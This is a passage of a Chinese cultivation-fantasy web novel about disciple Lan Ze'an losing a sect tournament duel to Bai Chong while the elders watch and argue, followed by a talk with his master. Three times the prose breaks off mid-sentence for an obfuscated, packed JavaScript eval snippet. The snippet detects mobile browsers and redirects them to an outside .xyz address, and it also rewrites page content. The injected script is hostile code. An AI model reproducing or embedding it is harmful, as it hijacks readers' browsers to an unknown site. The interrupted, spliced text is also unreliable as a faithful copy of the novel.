兰则安看着他,将信将疑道:“有这么夸张吗?” “你还不信我!你看那边!”蓝义撞了下他肩膀,用下巴给他指了下十七号擂台方向。 兰则安抬眸望去,就见那白石垒成的擂台四周,里三层外三层围满了人。这阵仗,完全不像是两个低阶弟子比武,浑像是两位仙尊要来切磋似的。 兰则安脚步蓦地一顿,愣愣出声:“至于吗?” “还至于吗?当然至于了!”蓝义不敢相信地瞪着眼,张嘴就来:“你也不想想你师尊和你那已故的师兄都是什么人物?一个是金仙,一个是半步金仙!他俩加一块儿,仙域里几乎都没对手,你懂吗?” 兰则安还是不能理解他们的这种心理:“可——”可我只是一个小小的上仙啊。 “可他们见不着你师尊和师兄出手啊,所以就一窝蜂涌来看你了。”蓝义可太清楚这些人心里是怎么想的了,喟然道:“你赢了他们也不会觉得你有多厉害,只会觉得这是理所当然的事。但若是你输了……那可就不好说了,师兄我就只能提醒你到这儿了。” 说完,他缓缓叹了口气,伸手拍了拍兰则安的肩膀。 同一时间,千秋山正殿之中,悬空的水镜清晰呈现出十七号擂台的盛况,长老会的十位长老、连同宗主师鹤语分坐在大殿两侧。 法悟峰的峰主何所以一下一下地摇着折扇,语调慵懒:“这个面生的弟子,心思倒是通透得很嘛。” “不过也确实是他说的这个理儿,漫川,你的这个新弟子,压力可不小。”说话的是文渊峰的峰主,柳照雪。 她对面,褚漫川看都没看水镜一眼,冷漠开口:“输赢又有什么关系。” “就是!这大比又不会下死手,就是他们小孩子玩玩而已,你们还真当回事了。”武道峰的峰主钟恒一点也不在意这些,语气很是无所谓。 柳照雪却是轻哼了一声,斥他:“你说的倒是轻巧,这白翀可是你座下那些新弟子里面数一数二的人物,他兰则安一个刚刚入门的弟子,本体还是偏孱弱的帝兰,哪里能与之抗衡?” “那……这又不是我安排的,师妹,你呛我作甚?”钟恒悻悻说着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875599|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然,柳照雪转向卞见山,也就是长老会的大长老,直言道:“这次宗门大比,确是比以往那些年的要新鲜,看得出卞老也是花了很多心思的。不过这种抽签的法子是不是有些失衡?譬如兰则安,三签对应的皆是主峰亲传弟子,我看——” “柳峰主。”卞见山眼神犀利,垂到胸口的白须一丝不苟,就像他的性子一样,听不得一句不好,“你的意思,莫不是觉得老夫是故意的?依我万世仙宗历年来的惯例,长老会的十山弟子本就要单独列出抽签,抽中谁便是谁,这是光影石自动选择的结果。难道你想为了一个小小的上仙,让我等更改宗规不成?” 柳照雪纤眉轻蹙,冷声道:“你知我不是这个意思。况且光影石怎么选,会有什么样的结果,这还不是你挥个手的事?非要我把话说这么明白?为了一个小小的上仙,有必要?” 卞见山厉声道:“你也知道只是一个小小的上仙,即便我——” 师鹤语悠哉游哉品着茶,全程脸色都没变一下。 “当——当——” 褚漫川指骨叩响桌面,用一种平静到近乎冰冷的口吻说:“我弟子的比试要开始了,大长老要是还没说完,你一个人出去说便是。” “你!!!”卞见山怒目而视,气得狠了,长长的胡须一颤一颤的,带动着他抚须的手指也跟着颤抖了起来。 褚漫川没搭理他,看都未曾再看他一眼,他的目光完全落在了水镜中的兰则安身上。 兰则安正往擂台上走,十七号擂台上,已经站上了一个英气勃勃的白发少年。 他的头发堪堪与肩齐平,只用一条红色发带随意绕了几圈,垂在脑后,露出一张冷峻的面容。 “我是白翀,你是我这一场赛事的对手吗?” 兰则安走近才发现,白翀的眉峰很是锐利,眉目间就透着一股极张扬的气势。 他颔首,礼貌回复:“我是兰则安,初次见面,请多指教。” “你……”白翀拧着眉,从上到下扫视了一遍兰则安,犹豫道:“我听说,你的本体是帝兰?” “是。” 白翀抿着嘴唇,神情很是犹豫不决。 兰则安眼眸微动,多少猜到了些原因,遂道:“师兄不必有所顾虑,既是比试,平日里如何,今日也该当如何。” “那我就……我……”白翀垂在身侧的手指蜷了蜷,仍旧没下定决心,“要不?要不还是你先来吧?” “我?我先来吗?”他这么客气,倒让兰则安也拿不准了。 水镜后。 卞见山脸黑得像是要滴出墨来,心底刚压下去的火气噌的一下窜上大脑:“磨磨唧唧!磨磨蹭蹭!像什么样子!” 这话钟恒就不乐意听了:“大长老这是什么意思?宗门弟子互相谦让,难不成还算是犯了错?” “方才我就说了,大长老若是话没说完就出去说。”褚漫川腔调懒散,随意地说:“你瞧着不顺眼,干脆去擂台上教教他们,给他们做个示范,好让他们知道什么才是标准。” 钟恒一个没忍住,直接笑出声来。 15. 第 15 章 “师兄,那我就开始了?”兰则安拿着青霄剑,温文有礼地问道。 他也是头一回跟人切磋比试,哪里知道该是个什么流程。他看白翀客客气气的,他便有样学样,也跟着客气起来。 白翀在来之前,破石山的师兄弟就把兰则安的来历修为抖落了个干干净净,他听说藏月山只有兰则安一个弟子,没有师兄弟跟他说这些,藏霄仙尊肯定也不会把这场小小的大比放在眼里。故此,他和兰则安之间的消息并不对等,他觉得这样很不公平。 见面之后,兰则安果然跟他想象的一样,芝兰玉树,谦和有礼,白翀就更不好意思了。 他用食指指尖挠了挠鬓角那短了一截的碎发,不太好意思地介绍起自己来:“对了兰师弟,你可能不知道,我的本体是苍狼,是冰属性的。” 兰则安眨眨眼,迟疑着应了一声:“啊,我知道师兄。” 比试前还有这一套流程吗?那他是不是也得自报下家门? “我的本体是帝兰,师兄应也知道,帝兰一族均强于元神。” 白翀连连点头:“是,是,我都知道。” 这俩人……居然还真聊上了。 围观众人觉得无语至极,眼底的期待渐渐隐没,更有甚者开始叫嚣起来。 “打啊!你们俩搁这儿聊天呢?” “这是宗门大比!别浪费时间了!” “就是!我们站在这里不是看你们说闲话的!” “快打!快打!快打!” “兰师弟,你楚崖师兄以前可不会这么磨蹭时间的!” 不知是谁这么喊了一嗓子,场上猛然一静。‘楚崖’二字已经许久都没有出现在大庭广众之下,时隔七百年再次响起,众人不由得纷纷望向兰则安。 这个人会像昔日的楚崖一样厉害吗?会重塑同辈之中、比剑不输的辉煌战绩吗? 水镜后,目睹全程的褚漫川眼底一片冷然。 何所以丢了折扇,端起茶盏嗅了嗅茶香,悠悠然道:“不错,还得是白茶啊。” 擂台上的兰则安并没多说什么,他上台前就预想到了这种局面,眼下目光坦然,任由下面围观的那些人窃窃私语,神情没有任何变化。 “师兄,那我就开始了?”兰则安最后还问了一声。 白翀郑重颔首,眼神坚定:“不用手下留情,师弟。” “可算是要开始了,白翀这小子以前可不会跟人这么客气。”两人耽误了太长时间,就连他师父钟恒都忍不住稀奇了一刹。 柳照雪粲然一笑,道:“两个都是好孩子,说起来我们万世仙宗收下的妖族弟子都是很不错的,品性纯良,心无旁骛,无一不是修仙的好苗子。” “那师妹要不要猜上一猜,台上这两个妖族弟子,你更看好哪一个?”耳边忽然响起师鹤语的声音,他的腔调散漫,随性中却又透着一丝高深莫测的味道。 柳照雪哑然一笑,尾音略略扬起:“这个嘛,就要看漫川有没有好好教他了。” 褚漫川看着悬空的水镜,不发一言,看得出并不想参与这个话题。 但钟恒却不愿就这么放过他,不依不饶地追问:“师弟,说说嘛,你觉得他们两个谁会赢?要不要赌上一局,我拿我珍藏多年的春里雪做赌注,我赌——” “我赌白翀。”褚漫川侧眸看他,声音不带情绪。 钟恒愣了下才反应过来:“谁?你说你赌谁?!” “白翀。”褚漫川闲闲地重复了一遍,似笑非笑道:“你拿春里雪,那我便拿拂春薄雪吧。” 钟恒被他这理直气壮的模样给气笑了:“你可真有意思!拿我弟子来赌赢就算了,赌注还是我们宗门里烂大街的茶叶!现在我们面前人手一盏,谁稀罕你这个?” “没办法,藏月山荒芜,只有这个。”褚漫川不以为意道。 柳照雪见状,轻轻笑出声来:“师兄,这可是你先说要赌的,怎得现在你又不乐意了?” “是我说的不假,但哪儿有他这样当师父的?”钟恒克制住想翻白眼的冲动,调转过头去指责褚漫川,“一看就知你没用心教导,丝毫也不信任自己弟子,把人带去藏月山,反倒是白白蹉跎了人家天赋。” “钟恒这话说的不错,师弟你确是耽误了则安的天赋。”不知道什么时候开始,师鹤语也如褚漫川一样,把视线完全落在了水镜之上。 他坐在上首,直直看向水镜的眼眸显得深沉无比,犹如两个深不见底的黑洞,叫人琢磨不透他究竟在想些什么。 十位长老纷纷抬头望去,只见那兰则安手中正握着他们熟悉的青霄剑,剑身流转着湛绿色的光芒,一招一式不见杀气,却给人一种浑然一体的和谐感。 青霄剑在他手中,不像是一件兵器,反倒像是一种表达道心的物件。 “我愿君子气,散为青松栽。”[注1] 师鹤语微微点头,眼中尽是欣赏与赞许之意。 “咦?这是……意随心生?!”柳照雪讶然道:“他居然能以剑修心,只凭自己,就入了文修的仙道?” 想也知道褚漫川会是什么心情了,能指点兰则安才怪。 柳照雪默默递过去一个耽误人家前程的眼神。 “哈哈哈哈哈!师弟你可真有眼光啊!没想到你藏月山还能出这样一个人物!拿剑修心,以剑入文修道,可真是——厉、害、啊!”钟恒只觉得心里堵着的那口郁气一下子就消失得无影无踪了,他现在觉得畅快得很,“既然你赌我弟子白翀,那我便赌你弟子兰则安会赢。若是我输了,这春里雪自然是你的;但若是你输了,我也不留,就把它当见面礼送给你弟子吧。毕竟我钟恒最是有爱才之心,尤喜那些不惧尝试、有勇气、又有拼劲的年轻修士!” 褚漫川根本不搭理他,既不应声,也不去看他。 钟恒朗声大笑,古铜色的脸庞上,五官都有些扭曲了。 坐在他身旁的段至干脆别过脸去,来了个眼不见为净,末了,还十分不满地丢下一句:“像什么样子。” “我说段老白,你不觉得好笑吗?”钟恒又往他心口插了一刀:“你们器合峰竟然出了一个文修弟子,还是无师自通呢!这天赋,可是轻轻松松甩下文渊峰好多弟子一大截呢!” “够了啊你。”柳照雪剜了他一眼,柳眉杏眼中,明晃晃透出不悦来,“你是想同时得罪我文渊峰和段师兄的器合峰吗?” 笑声戛然而止,钟恒清清嗓子,正准备说些什么来狡辩一下,段至出声了。 他依旧紧皱着眉,用那古板到固执的语调,道:“叫我段师兄。” 钟恒忍俊不禁,转向柳照雪,耸耸肩,浓眉一挑,嬉笑着说:“你看,他又逗我笑。” “哇!!!”水镜方向猝然传来一声声惊呼。 擂台上,白翀的身后出现了一个巨大的苍狼虚影,冰霜在他眉眼间凝聚成细碎的结晶,那双银色的瞳孔彻底变成了野兽的竖瞳。 武修炼体入道,而兽类妖族因为肉身坚厚硬实,大多都会选择做个武修。 而妖族武修比人族武修占优势的一点在于,他们在‘融体’、也就是把全身力量集中在肉身上时,元神是可以游离在体外的,也就是此时白翀身后的苍狼虚影。 修士若是想攻击其元神,必须先突破他肉身的防御,如此攻击才能有效。 若是真正的楚崖在这,只需两剑。 一剑破其肉身,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875600|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑即可重创元神。 可惜现在在擂台上的,是兰则安。 是肉身脆弱、拿着剑都能修心养性的君子兰。 他堪堪入文修道,也没有人指点,面对铁板一样的武修白翀,完全不知道该从哪里下手,该怎么下手。 从站上擂台,兰则安一直都在防御。 一招一式,一举一动,毫无半点凌厉之势。 “可惜了,入门的时间还是太短了,也没有一颗想赢的心,实乃宝剑蒙尘啊。”柳照雪呢喃出声。 她说的含糊,叫人分不清这个‘宝剑’到底指的是青霄剑还是兰则安这个握剑的人。 但褚漫川却好似认定了般,嗤笑着开口道:“是啊,宝剑蒙尘,可惜了我的青霄剑啊。” “师弟此言差矣,虽说文修多是以琴棋书画入道,但古往今来,也不缺以其他物什修心入道之人。”师鹤语眼神带着一丝不快,难得对他肃声,“譬如两万年前那位以落花入道,位阶金仙巅峰的无意仙尊;三百年前陨落的那位碧霞仙尊,早年便是每日观赏云卷云舒之象,以流云定道心,最终位列金仙。然而迄今为止,我还未曾听闻以剑修心的文修,这个帝兰化形的弟子还真是给了我们万世仙宗一个好大的惊喜。” 柳照雪眼中掠过一丝可惜,斟酌片刻,还是试探着开口劝道:“宗主所言不假,漫川,你既是他师父,也该多为弟子的将来考虑,莫要误了他的仙途。” “呵?仙途?入了我藏月山,生是我藏月山的人,死也是我藏月山的鬼。他兰则安活着可以做文修,死了我也能把他魂魄抓回来做鬼修,怎么会误了他呢?”褚漫川轻飘飘开口,浑然不觉得自己这样想有什么问题,只是他眼中满到几乎要溢出来的寒意却让人根本没法忽视。 钟恒到底是没忍住,朝他翻了个白眼,声音虽小,但保证在场所有人都能听见:“早就跟你说过要多收些弟子了,一座山就你们两个人,你不盯他那也找不到事干了啊。” “可不是。”何所以啧了声,重新拿起折扇,嘴角只消稍微勾上一些,那张风流脸就无端显出几分邪肆来,“还说藏月山荒芜呢,多收点弟子不就热闹起来了?对的人不在身边,不管多像,总归不是原来那样了。你那新弟子性子那么安静,只怕藏月山是要一直荒芜下去了。” 这些话一出,除了钟恒,所有人都沉默了,包括褚漫川。 他无声盯着茶盏中沉底的单芽茶叶,眼神稍显空洞,仿佛隔着一层厚厚的云障,叫人平白就与他生出距离感来。 段至脸色最是难看,铁青着脸,活像是听见了什么不干净的东西。 只有钟恒,幽幽叹了口气,继续往褚漫川伤口上撒盐:“真是,我说师弟你也太念旧情了。我仔细看,才发现这兰则安跟那死去的楚崖至少有五分相似,你说你成天面对这张脸,心情能好吗?” 柳照雪横他一眼,颇有些恨铁不成钢地恼他:“行了,你少说点话没人把你当哑巴。” 这都多少年了,怎么就像瞎了眼呢?一点端倪都没看出来吗? “继续看他们比试吧,这场比赛也到关键时候了。”师鹤语没心思在这些陈年往事上耗费心神,直接转移了话题。 兰则安手中的剑是极快的,每一下都能精准格挡白翀挥舞过来的拳头,宛若一条银色游龙在身边盘旋,只可惜其势不带丝毫反攻之意。 “师弟,你若再不出招,就要输了。”白翀逐渐逼近,一路把他逼至擂台边缘。 这一仗,白翀受益匪浅。 他从来没有遇见像兰则安这样的对手,无死角防御,完美抵挡他的每一个动作,甚至还能预判他接下来的动作。 他有预感:兰则安要放大招了! 16. 第 16 章 [吾之剑:长渝] [吾之道:天长地久,矢志不渝] 这是楚崖师兄的剑道,那他的呢? [君子务本,本立而道生] 这便是君子剑的真意,兰则安先前以为自己已经悟出了属于他自己的剑道,但直到今天,直到站在大比的擂台上,直到面对武修白翀,他才蓦然惊觉,他根本不清楚自己的“本”究竟是什么。 他拿着青霄剑,却根本使不出任何带有剑势的杀招。 他的道,似乎不是剑道。 他的剑……跟师尊的剑也并不相同。 兰则安站在擂台边上,脸上的表情空白了一瞬。 山风轻轻拂过,把他的衣角扬起,时间在这一刹那好像停滞住了。 白翀离得近,清晰看见了兰则安额上渗出来的细密汗珠,以及他逐渐苍白的面色。 他瞧着兰则安像是魇住了般,迟迟没有反应,就也跟着停下攻势,犹豫着喊他:“师弟?兰师弟?你还好么?” 话音落下时,白翀那双银色竖瞳重新变回了正常模样,眸子清澈,纯净得看不见丁点儿杂质。 兰则安听见了他的声音。 混沌的大脑中传来了一声纯粹的、不掺杂其他念头的关心,他知道是白翀,也知道自己现在还在宗门大比的擂台上,但他的思绪飘忽不定,意识也忽明忽暗,犹如在迷宫中彻底迷失了方向。 兰则安紧紧握着剑柄,用力到指尖发白,手指也开始不受控制地颤抖起来。 师尊曾言,他不觉得自己能胜过白翀。 当时他听着还有些不服,然而现在……原来师尊早就知道,原来他说的也都是真的。 但他不想输,也不愿意就这么输了。 青霄剑,君子道。道心在,然剑意何在? 越是想弄清楚这一点,兰则安的头就疼得越厉害,像是有烈火在灼烧他的灵魂,他在一片黑暗中苟延残喘,喉咙像是被细线缠绕住了,束缚得很紧很紧。 这种疼就像是有一把冰冷的长刀,生生割断了他与外界的联系。 既然……既然想不明白,那他索性就不想了,兰则安死死咬着牙,勉强让自己保持清醒。 四周的声音像潮水般向他涌来,被风送进他耳中,听得真真切切。 “我还以为多厉害呢,结果被白翀打得毫无还手之力!” “就是啊,我听说他手里拿的好像还是当年楚崖师兄拿过的青霄剑呢!这么一把宝剑拿在他手里,真是可惜了!” “可不是?听说楚崖师兄早些年参加宗门大比,一贯都是越级挑战,同阶之中从来没有输过。” “何止?别说是没输过了,楚崖师兄从来都是赢得轻轻松松,漂漂亮亮的,哪会儿像现在一样拖延时间。” “真没劲儿!白白浪费了我这么长时间!照我说,他这剑道都还没入门呢!” “哈哈哈哈哈哈……” 剑道,还没入门吗。 青霄剑轻轻嗡鸣,似乎在安抚主人的情绪。 兰则安眸色骤然一沉,深邃的眉宇间无端透出一股子锋锐的凌厉。 我曾在师尊面前说过,我输得起,却不会一直输。 即使这一场比试结局不会改变,但今日我兰则安绝不会辜负手里的剑。 不负道心,不负青霄。 千秋山作为宗门弟子切磋比武的擂台,常年都是热闹的。这里的风沁人心脾,混着林木的浅浅幽香,总是一阵一阵的,温柔拂过身畔,卷去力竭后的疲惫与劳累,惯是让人觉得轻松惬意。 往日里,每当白翀倦于修炼时,最爱来这里随便寻个人少的地方坐着吹风,什么都不想、什么也不做,就能坐上一天。只是眼下,他与兰则安那双异常平静的黑眸对视,心里却是莫名一突突,风再吹过来时也夹带上了几分说不清道不明的寒意。 好似转息间,春山就被大雪压成了一片无垠的白。冬风凛冽刺骨,带着阴湿的凉意,直往人骨头缝里钻。 白翀的银眸在须臾间变成了兽类的竖瞳。 但这一次,完全是自发性的。 他甚至来不及反应,野兽的直觉已经先一步意识到了不对,替他做出了判断。 只有白翀感受到了这股直冲他灵魂而来、仿若大山一样的威势。 台上台下,水镜里外,只有他。 他甚至有种兰则安好像变了个人的错觉,但明明人还是那个人,眼也还是那双眼…… 只是透过那双晦暗幽深的眸子,白翀竟有种通往人间炼狱的锥心感。 不知不觉中,白翀的后背出了一层冷汗,紧绷的肌肉都开始僵硬起来。 青霄剑在兰则安手中轻盈一转,剑尖直抵白翀喉咙! 这一刻,兰则安的眼眸就像他挥手而出的剑一般,锋芒毕露,杀气涌现。 “静心!收剑!” 兰则安昏沉的大脑中,响起了一道温润如玉的嗓音,有如拨云见日,登时就让他散乱无序的神识倏地清醒过来。 理智回笼的这一刻,青霄剑停在半空,兰则安喉头涌上一股腥甜。 他眼睫微垂,生生忍下脑子好像要裂开一样的疼痛,感受着这种痛意在身体里蔓延,悄无声息侵蚀着他的每一寸血肉、每一块骨头。 兰则安艰难开口,他微微动了下嘴唇,声音很轻很轻:“我认输。” 这道声音响起时,白翀才堪堪回神。 从他看见青霄剑动的那一刻,他的脚就像是被钉子钉死在了原地,全然没了反抗的念头,也升不起一丝一毫的斗志。 这是一种很难用语言来形容、也很难表述出来的震撼。 犹如当头一棒、直击灵魂深处。 他根本没听清兰则安说了什么,只是庆幸、却又有些失落。 庆幸兰则安能及时停手; 却又失落于未能切身感受这一剑之意。 同一时间,水镜之下。 柳照雪柳眉轻蹙,脸上明显流露出不满:“剑属凶器,兰则安既已入了文修之道,漫川你又何必再教他青霄剑法?” 褚漫川神情凝重,却只静静听着,没有要反驳的意思。 “青霄剑法乍一看轻灵飘逸,实则暗藏杀机、有凌云之势,的确是适合那些天赋出众的剑修,但你教给兰则安,却是误了他的正道。”柳照雪一针见血,毫不留情指出褚漫川的不对。 褚漫川脸色冷了一下,讥笑道:“正道?你觉得什么是他的正道?” “我明白你的意思,兰则安在这么短的时间里青霄剑法就已大成,足以证明他在剑道上天赋不俗,但是漫川……”柳照雪的眼睛很亮,好似一眼就能望见人的心底,“他道心已定,手中之剑本该凭心而走,像方才那般倒行逆施,强求青霄剑意,最多再来个两次,这棵好苗子就算是费了。” “柳师妹所言不假。”师鹤语略一颔首,语焉不详道:“师弟,我现在真是看不懂你了。帝兰一族最是适合文修之道,你偏偏教他练剑,这兰则安也真是怪,剑道天赋竟然如此之高,我看丝毫不亚于他师兄楚崖。” 他转眸望向褚漫川,不放过他面上的每一个变化。 被他专注盯着,褚漫川也没有任何不自在,神色平静无波,看不出一丝端倪。 “我藏月山只有这么一个弟子,就不劳你们费心了。”半晌,褚漫川才不紧不慢出声,语气不容争辩。 气氛随之降至冰点,所有人缄默不语。小小的正殿,空气逐渐变得稀薄,死一般的沉寂把这里笼罩,与嘈杂纷乱的水镜里面好似两个世界。 “什么鬼啊?这就认输了?青霄剑都还没挥出去呢!” “就是,早知道就去看其他擂台的比赛了。” “我还以为他还有什么剑招没使出来呢,结果这就结束了?” “真是浪费我们大家伙儿的时间,有这功夫干啥不行?” “真是差远了差远了,没法比。” “可不是,果然就是个替身,要不是有一张像楚崖师兄的脸,藏霄仙尊怎会看上他做弟子?” 这些话清清楚楚传入大殿,也清清楚楚传上十七号擂台。 兰则安收起青霄剑,转身走下了擂台。 直到此刻,直到看见他的背影,白翀才如梦初醒,四下一瞥,就见光影石上只剩下了他一个人的名字。 十七号擂台:武道峰破石山白翀,胜。 “不是我,我没赢。”白翀皱着剑眉,叫住审判长老,“长老,这场比试不是我赢了。” “他认输了,就是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875601|176303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢。”审判长老头也不抬地回答。 他手里还拿着一块玉板,正垂目看着上面的赛事安排。 白翀复又说道:“长老,弟子的意思是,这场比试其实是弟子输了,方才弟子是挡不住兰师弟那一剑的。” 审判长老终于抬头,诧异地打量了他一番,表情古怪:“你还挺执拗,我都说了,这场比试是你赢了。” “不是我,是我输了。”白翀再一次强调,“我是打不过兰师弟的。” “哎呀!白师兄!我等在台下看得一清二楚,就是你赢了!” 有几个观赛的弟子围了过来,审判长老见状,把玉板竖在胸前,径直走向其他擂台去了。 “长老!”白翀抬脚就想追过去,却被这些人围在了中间。 “方才那兰则安全程都没有还手之力,师兄你也太谦虚了。” “白师兄,你是不是顾及那兰则安的师尊啊?我跟你说没事,藏霄仙尊——” “不可妄言!输了就是输了,我从来不说假话,也不会顾及谁的面子。”白翀眼中一点笑意也没有,很认真地跟他们说:“我若是能赢,绝对不会谦让,无论对方是谁的弟子。但这场比试我白翀心里清楚,我没赢,也赢不了。” 他的面容看着本来就不亲和,此刻表情严肃,就更显出距离感来。尤其是他双凌厉的银眸,宛若霜雪天结晶的冰锥,冷漠又疏离,叫人看上一眼就不想再接近他。 而白翀也没有再跟他们废话的打算,径直从人缝中挤出,跑着去追兰则安去了。 他走后,离他最近的一个圆脸弟子不忿道:“装什么装?!搞得自己好像多清高一样!” “行了行了,反正跟咱们也没什么关系,咱们去看看其他擂台的比赛吧。”有人打着圆场,不愿在大庭广众之下议论这些。 众人都离开后,水镜才切换到其他擂台。 褚漫川收回目光,脸上也看不出什么多余的情绪,仍旧是往日那副冷淡的样子,还跟他们打了声招呼,才施施然离去。 兰则安这边,白翀远远叫着他的名字,丝毫不管路过弟子怎么看他,跑得飞快。 “兰师弟!等等我!” 蓝义跟来的时候一样,跟在兰则安身边,闻言还打趣道:“这一声,我都分不清是叫你还是叫我了。” “师兄可知自己和白师兄谁入门更早一些吗?”兰则安也觉得有趣,便好奇地问了一句。 刚才那一瞬,他忽然想起了最初被自己弄错的名字。 楚崖师兄,他最开始还以为是随师尊姓‘褚’。 蓝义想都没想就给了他答案:“白师兄入门比我早上一百年。” 他刚说完,白翀就追上来了。 “师弟!你没输!是我输了!”白翀一把拽住他的胳膊,眼眸澄澈,“走!我带你去跟审判长老说清楚,让他把胜负改过来。” 兰则安反手抓住他的手腕,好笑道:“师兄倒是先听我一言,那一剑,若是我真能挥出,我就不会收手了。” 他直勾勾看着白翀,眼神很坚定:“我也是今日这一战才发现,我的剑道似乎有些问题,我以为的并不是我以为。倘若方才我真的挥出那一剑,能不能赢我不敢说,但我一定会付出比输惨重百倍的代价。” 蓝义眼中闪过一丝玩味,目光在白翀和兰则安身上打转儿,眼神耐人寻味,带着点说不出的意思。 白翀不太明白这个‘代价’指的是什么,他正想继续说些什么时,身后传来一道低沉的男音。 “你知道就好。” 这道声音对白翀而言很陌生,他是第一次听见,但兰则安却是精神一振,抬眼就望了过去,眼中有他自己都不知道的惊喜。 “师尊。”他尾音轻扬,眼眸也在这一瞬亮了起来。 褚漫川一身紫色长袍,面容冷峻,眉目之间透着浑然天成的气势,让人不敢直视。 蓝义和白翀登时清楚了来者的身份,赶忙行礼道:“拜见藏霄仙尊。” “不必多礼。” 褚漫川的目光精准无误地落在兰则安身上,肃声道:“你随我来。” 兰则安还没应声,就收到了蓝义和白翀递过来的眼神。 两双眼睛,皆透露出一个意思来:自求多福。 17. 第 17 章 兰则安站在褚漫川对面,低眉敛眸,小声道:“师尊,弟子输了。” 褚漫川淡淡瞥他一眼,回他:“为师知道,也看见了。” 兰则安的心脏重重一跳,犹豫片刻,还是问了出来:“师尊为何笃定我此战会输?” “为师先前问你,你是否悟出了自己的剑道,当时你是怎么回答的?”褚漫川声音清冽,像冰一样落在兰则安心头,让他登时清醒,须臾就回想起了曾经说过的话。 [弟子悟出自己的剑道了!] 彼时他信心满满,以为会挥剑便是入了剑道,君子剑便是他的剑道,全然没想过去请教师尊,去询问自己的不足。 “弟子……弟子知道错了。”兰则安自知理亏,他耷拉着脑袋,话说完时耳朵一片通红。 “在比试的擂台上,弟子才想清楚,弟子并没有修出自己的剑道,弟子的剑只代表了自己的道心。”一种难言的情绪从心底最深处涌出,兰则安眼神顿了顿,语气迟缓,“弟子的剑没有剑意,尚且不知为何拔剑。” “方才弟子强行出剑时,不知为何,竟有种失了神智的感觉。”纷纷扰扰的思绪混在一起,纠缠不清,剪不断理还乱,让兰则安感到无比沉重,“师尊,为何弟子没有剑意,却能使出完整的青霄剑法呢?” “怎么?你以为你上仙二层的修为是花架子吗?”褚漫川眼神轻傲,嗓音也很随意,“这么些日子就学会了一套剑法,若是再使不出来,以后出门在外,可别说是我褚漫川的弟子。” “啊?这、是这样啊。”兰则安只觉得面颊发烫,不敢去看师尊的眼睛。 他还当是自己天资卓越,才能在没有剑道的前提下,使出青霄剑的杀招。但他却忘了自己好歹也是一个上仙,怎么会连区区一把剑都用不了呢? 他实在是过于自负了。 褚漫川饶有兴致地扫了他一眼,多少能猜到些现徒弟的微妙心思。顾及他的脸面,褚漫川很快移开目光,话锋一转:“算算时间,你入宗门也没多久,为师还未曾与你详细说过修士五道,今日便借着这个机会,若是你有什么不懂之处,直言便是。” “是。”兰则安强作镇定,末了还扯出一个得体的笑。 “所谓修士五道,即医、武、法、文、器。” 褚漫川娓娓道来:“其中,医修便是以医入道,多数医修都精通炼丹之术,我们宗门医圣峰的峰主名曰解松风,乃玄仙巅峰的修为。第二,武修,今日与你对战的白翀便是武修弟子,他的师父是武道峰峰主钟恒,也是玄仙巅峰的修为,此一道尤为注重肉身的淬炼,与其对战要尽可能拉开距离,避免长时间作战。” “第三,是法修。法悟峰峰主名曰何所以,乃金仙修为,你第三场比试的对手沈知节是他的亲传弟子。此一道最是看根骨和天赋,阵法、符咒均要集天地元素之力绘制而成,也就是金木水火土五行,而沈知节……” 褚漫川眸光动了动,眉眼间悄然拢上了一层寒意:“他是火灵之体。” 兰则安倒是第一次听说火灵之体,不过这个词不难理解,他略一思索,就道:“师尊,你的意思是不是他正好克我?” “只是属性相克罢了。”褚漫川不赞同地看着他,“言辞要严谨,他可克不住你。” “弟子记下了。”兰则安郑重颔首,“不过师尊,这个火灵之体,是不是意味着他只能绘制火属性的阵法和符咒?” “是这样没错,但经由他手绘制出的火属性阵法符咒,威力至少会增一倍。”褚漫川不放心地叮嘱他,“届时你见机行事,莫要像今日一样莽撞,打不过就认输,日后再找机会赢回来便是。” 兰则安下意识看向褚漫川,当他对上那双专注的凤眼时,刚刚才降温的耳朵复又热了起来。 他心里有愧,尤其愧对师尊。 十七号擂台下的那些话历历在耳。 师尊只有他一个弟子,按理他应该像楚崖师兄一样,撑起藏月山的名声,但他第一次在众人面前露面就输了。 ……还输得彻底,毫无还手之力。 当时他站在擂台上,听着下面没有间断的议论声,只觉得心里苦涩无比。 倒也不是生气,事实上那些人说的没错,跟楚崖比起来,他兰则安真的很像是一个可有可无的替代品。 赛后师尊不仅没有问责,反而轻飘飘揭过此事,几乎没怎么提起,还安慰他日后再赢回来。 师尊竟如此相信他。 还对他如此好。 兰则安心潮翻涌,一种十分柔软的情绪在心口疯狂滋长,促使着他唤出那声几乎装满他脑袋的称呼。 “师尊。”话一出口,他才发觉自己嗓子沙哑,近乎失声。 